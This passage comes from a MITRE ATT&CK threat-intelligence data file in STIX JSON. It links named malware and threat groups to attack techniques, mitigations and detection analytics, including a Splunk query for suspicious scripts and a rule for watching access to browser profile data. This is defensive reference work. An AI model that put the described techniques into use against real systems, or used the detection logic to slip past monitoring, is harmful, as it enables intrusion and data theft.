Disable DDEAUTO Oct 2017"},{"url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","source_name":"Microsoft ADV170021 Dec 2017"}],"modified":"2022-03-11T20:14:42.479Z","description":"Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017)(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel.(Citation: Microsoft ADV170021 Dec 2017)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16f472ba-e66d-4317-bb52-b9e3ce76b37b","type":"relationship","created":"2019-12-12T15:08:21.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-12-12T15:08:21.109Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16f64842-8ba8-4827-a47f-e7d665f942ae","type":"relationship","created":"2019-01-29T19:55:48.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:42.665Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the net time command to get the system time from the machine and collect the current date and time zone information.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74","created":"2017-05-31T21:33:27.032Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16fd4ddb-1ce4-4254-a301-8ac762573a77","type":"relationship","created":"2019-06-24T13:56:03.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-24T15:06:46.278Z","description":"Regularly scan the internal network for available services to identify new and potentially vulnerable services.","relationship_type":"mitigates","source_ref":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1703b260-35ef-466a-bec7-d17d6c6cf987","created":"2023-04-04T22:45:31.689Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:45:31.689Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can create a token for a different user.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17049a4f-810d-4928-a0a0-84d4a732ca08","created":"2020-03-17T00:47:59.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft SIR Vol 19","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.406Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over SMTP and POP3 for C2.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17057c58-c25c-486c-a27a-6198013aaa4f","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T14:30:03.814Z","description":"Monitor for any attempts to enable scripts running on a system that would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. \n\nAnalytic 1 - Look for attempts to enable scripts on the system.\n\n index=windows (EventCode=1 OR EventCode=4688 OR EventCode=4103 OR EventCode=4104) (CommandLine=\"*script*\")\n| search script_name IN (\"*.ps1\", \"*.sh\", \"*.py\", \"*.rb\", \"*.js\", \"*.vbs\")\n| eval suspicious_script=if(like(script_name, \"%.sh\") AND hour(_time) NOT BETWEEN 8 AND 18, \"Yes\", \"No\")\n| where suspicious_script=\"Yes\"","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17087e76-4d84-443e-8fb1-0ec6498681db","created":"2021-09-02T16:01:58.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:31:12.518Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has dropped encoded executables on compromised hosts.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1708aa35-a362-429f-be06-82dc106dfeb4","type":"relationship","created":"2019-04-19T16:27:45.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.519Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has multiple C2 channels in place in case one fails.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9","created":"2017-05-31T21:33:27.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://web.archive.org/web/20220425194457/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:05:03.628Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--170fb051-0d3d-4105-b6d2-96c9c68e4b8c","type":"relationship","created":"2020-10-27T19:26:38.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.063Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has executed commands via cmd.exe.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1713622d-f3fa-4ec4-b63a-3d2a75c23398","type":"relationship","created":"2020-02-21T21:08:33.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:08:33.353Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--171380bf-41ff-43da-86fe-c131f5f7b97b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Cherry Picker","description":"Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.","url":"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}],"modified":"2020-03-16T17:55:26.695Z","description":"Recent versions of [Cherry Picker](https://attack.mitre.org/software/S0107) delete files and registry keys created by the malware.(Citation: Trustwave Cherry Picker)","relationship_type":"uses","source_ref":"malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1715a3b2-1c13-403e-8add-e8709fc7f92c","type":"relationship","created":"2021-10-12T12:52:20.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-12T12:52:20.153Z","description":"[Seth-Locker](https://attack.mitre.org/software/S0639) has the ability to download and execute files on a compromised host.(Citation: Trend Micro Ransomware February 2021)","relationship_type":"uses","source_ref":"malware--f931a0b9-0361-4b1b-bacf-955062c35746","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1719d211-582f-4ae9-90f4-2ec984360927","created":"2019-01-30T15:27:06.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.855Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) uses cmd.exe to create a reverse shell on the infected endpoint.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--171a96b6-1680-408b-b90d-356b393a3dea","created":"2022-08-16T15:37:26.617Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T22:22:53.723Z","description":"[SideCopy](https://attack.mitre.org/groups/G1008) has compromised domains for some of their infrastructure, including for C2 and staging malware.(Citation: MalwareBytes SideCopy Dec 2021)","relationship_type":"uses","source_ref":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1720444b-e442-423e-ba6f-48079ad8b04e","type":"relationship","created":"2021-03-30T17:54:04.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Docker Daemon Socket Protect","url":"https://docs.docker.com/engine/security/protect-access/","description":"Docker. (n.d.). Protect the Docker Daemon Socket. Retrieved March 29, 2021."}],"modified":"2022-04-01T13:04:01.140Z","description":"Limit communications with the container service to local Unix sockets or remote access via SSH. Require secure port access to communicate with the APIs over TLS by disabling unauthenticated access to the Docker API on port 2375. Instead, communicate with the Docker API over TLS on port 2376.(Citation: Docker Daemon Socket Protect)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--17222228-511a-4a99-8a7f-5918620e4b64","created":"2022-04-14T15:01:24.441Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may attempt to gather information about domain accounts such as type of user, privileges and groups.","modified":"2022-04-14T15:01:24.441Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--172391d2-7207-42b0-987b-8760bc58e35a","created":"2024-02-09T21:14:40.966Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:14:40.966Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has modified file timestamps.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17257faf-d3a8-4959-9743-aa118902106c","created":"2024-05-20T20:18:24.058Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:18:24.058Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) cleared command history in Linux environments to remove traces of activity after operations.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17262c58-2f41-41d2-a86a-5bc86642ddb4","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"PWC Cloud Hopper April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.607Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has compressed files before exfiltration using TAR and RAR.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--17290810-db79-4211-ac56-9fa021c8b3c8","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Chrome Roaming Profiles","description":"Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.","url":"https://support.google.com/chrome/a/answer/7349337"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T18:16:25.121Z","description":"Monitor for processes with arguments that may be associated with gathering browser information, such as local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1729ebeb-c92c-4d8e-a859-0d081b3821a1","created":"2019-06-17T18:49:30.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.259Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) uses HTTP GET requests to download other files that are executed in memory.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--172a8a26-d2c9-4d29-b050-55949c0186dd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-16T16:41:06.909Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--172da5b1-cf68-468a-8208-b15ea5c813dc","type":"relationship","created":"2019-01-31T00:36:41.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Konni May 2017","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018."},{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.999Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can gather the OS version, architecture information, connected drives, hostname, RAM size, and disk space information from the victim’s machine and has used cmd /c systeminfo command to get a snapshot of the current system state of the target machine.(Citation: Talos Konni May 2017)(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--172e2d4d-5739-40d3-ae0d-4bf76890e79f","type":"relationship","created":"2020-07-23T14:20:48.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave GoldenSpy June 